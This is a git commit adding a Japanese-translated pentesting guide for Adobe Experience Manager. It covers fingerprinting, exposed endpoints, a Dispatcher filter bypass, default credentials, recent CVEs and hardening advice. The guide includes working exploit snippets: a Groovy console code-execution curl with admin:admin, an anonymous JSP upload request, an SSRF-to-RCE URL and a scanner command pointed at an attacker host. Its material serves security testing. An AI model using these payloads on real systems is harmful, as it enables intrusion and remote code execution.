Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:30 +00:00
parent e91f0b1310
commit 0493deec08

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}}
脆弱性と設定ミスを見つけるには [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズCMSです。
> 攻撃者の視点から見ると、AEMインスタンスは非常に頻繁に危険な開発エンドポイント、弱いDispatcherルール、デフォルトの認証情報、そして四半期ごとにパッチが適用される長いCVEのリストを露出します。
以下のチェックリストは、実際のエンゲージメントで繰り返し現れる**外部からアクセス可能な(認証なしの)攻撃面**に焦点を当てています2022-2025
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
他の迅速な指標:
* `/etc.clientlibs/` 静的パスが存在JS/CSSを返す
* `/libs/granite/core/content/login.html` 「Adobe Experience Manager」バナー付きのログインページ。
* `</script><!--/* CQ */-->` HTMLの下部にあるコメント。
---
## 2. 高価値の未認証エンドポイント
パス | 取得できるもの | ノート
---- | ------------- | -----
`/.json`, `/.1.json` | **DefaultGetServlet**を介したJCRード | よくブロックされるが、*Dispatcherバイパス*(下記参照)が機能する。
`/bin/querybuilder.json?path=/` | QueryBuilder API | ページツリー、内部パス、ユーザー名の漏洩。
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felixコンソール | デフォルトで403; もし公開され、クレデンシャルが見つかれば⇒ バンドルアップロードRCE。
`/crx/packmgr/index.jsp` | パッケージマネージャー | 認証されたコンテンツパッケージを許可→ JSPペイロードのアップロード。
`/etc/groovyconsole/**` | AEM Groovyコンソール | もし公開されれば→ 任意のGroovy / Java実行。
`/libs/cq/AuditlogSearchServlet.json` | 監査ログ | 情報漏洩。
`/libs/cq/ui/content/dumplibs.html` | ClientLibsダンプ | XSSベクター。
### Dispatcherバイパスのトリック
ほとんどのプロダクションサイトは*Dispatcher*(リバースプロキシ)の背後にあります。そのフィルタールールは、許可された静的拡張子を**セミコロンまたはエンコードされた改行の後に追加すること**でバイパスできます:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
単一のリクエストは、ユーザープロファイルードとメールアドレスを頻繁に開示します。P-T Partnersはこの脆弱性に関する良いガイダンスを公開しました。 【】
---
## 3. 一般的な誤設定2025年にも生き残っている
1. **匿名POSTサーブレット** `POST /.json``:operation=import`を使用すると、新しいJCRードを植え付けることができます。Dispatcherで`*.json`のPOSTをブロックすることで修正できます。 【】
2. **世界中から読み取り可能なユーザープロファイル** デフォルトのACLは`/home/users/**/profile/*`に対して`jcr:read`を全員に付与します。
3. **デフォルトの資格情報** `admin:admin``author:author``replication:replication`
4. **WCMDebugFilter**が有効 ⇒ `?debug=layout`を介した反射型XSSCVE-2016-7882、レガシー6.4インストールでまだ見つかる)。
5. **Groovyコンソールが公開** Groovyスクリプトを送信することでリモートコード実行
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. 最近の脆弱性(サービスパックのサイクル)
四半期 | CVE | 影響を受ける | 影響
------- | --- | -------- | ------
2024年12月 | **CVE-2024-43711** | 6.5.21以前 | 不適切な入力検証 → **任意のコード実行**(低権限の認証が必要)。 【】
2024年12月 | CVE-2024-43724/26 | 6.5.21以前 | Move Page WizardにおけるDOM / ストレージ型XSS。 【】
2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 作成されたURLを介したDOMベースのXSS。 【】
2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 暗号設計の欠陥 → 秘密の復号(低権限の資格情報が必要)。 【】
常に顧客のサービスパックに一致する*APSB*の公告を確認し、最新の**6.5.22**または*Cloud Service 2024.11*をリクエストしてください。
---
## 5. 悪用スニペット
### 5.1 DispatcherバイパスによるRCE + JSPアップロード
匿名書き込みが可能な場合:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Now request `/content/evil.jsp` JSPはAEMプロセスユーザーで実行されます。
### 5.2 SSRFからRCEへの攻撃歴史的 < 6.3
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
`aem_ssrf2rce.py`は**aem-hacker**からフルチェーンを自動化します。 【】
---
## 6. ツール
* **aem-hacker** スイスアーミーナイフの列挙スクリプト、ディスパッチャーバイパス、SSRF検出、デフォルトクレデンシャルチェックなどをサポートします。
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **コンテンツブルートフォース** 隠れたコンポーネントを発見するために`/_jcr_content.(json|html)`を再帰的にリクエストします。
* **osgi-infect** クレデンシャルが利用可能な場合、`/system/console/bundles`を介して悪意のあるOSGiバンドルをアップロードします。
---
## 7. ハードニングチェックリスト(レポートの推奨事項用)
1. インスタンスを**最新の累積サービスパック**2025年7月現在6.5.22)に保つ。
2. デフォルトアカウントを削除/ローテーションし、SSO/SAMLを強制する。
3. **ディスパッチャーフィルター**を厳格にし、匿名ユーザーに対して`;`、エンコードされた改行、`*.json`または`*.querybuilder.json`を拒否する。
4. コンソール(`/system/console``/crx/*``/etc/groovyconsole`をIP許可リストで無効化または保護する。
5. Adobeが提供する*匿名権限ハードニング*パッケージを適用する。
## 参考文献
* Adobe Security Bulletin APSB24-69 “Adobe Experience Managerのセキュリティ更新2024年12月”。
* 0ang3el aem-hackerツールGitHub
{{#include ../../banners/hacktricks-training.md}}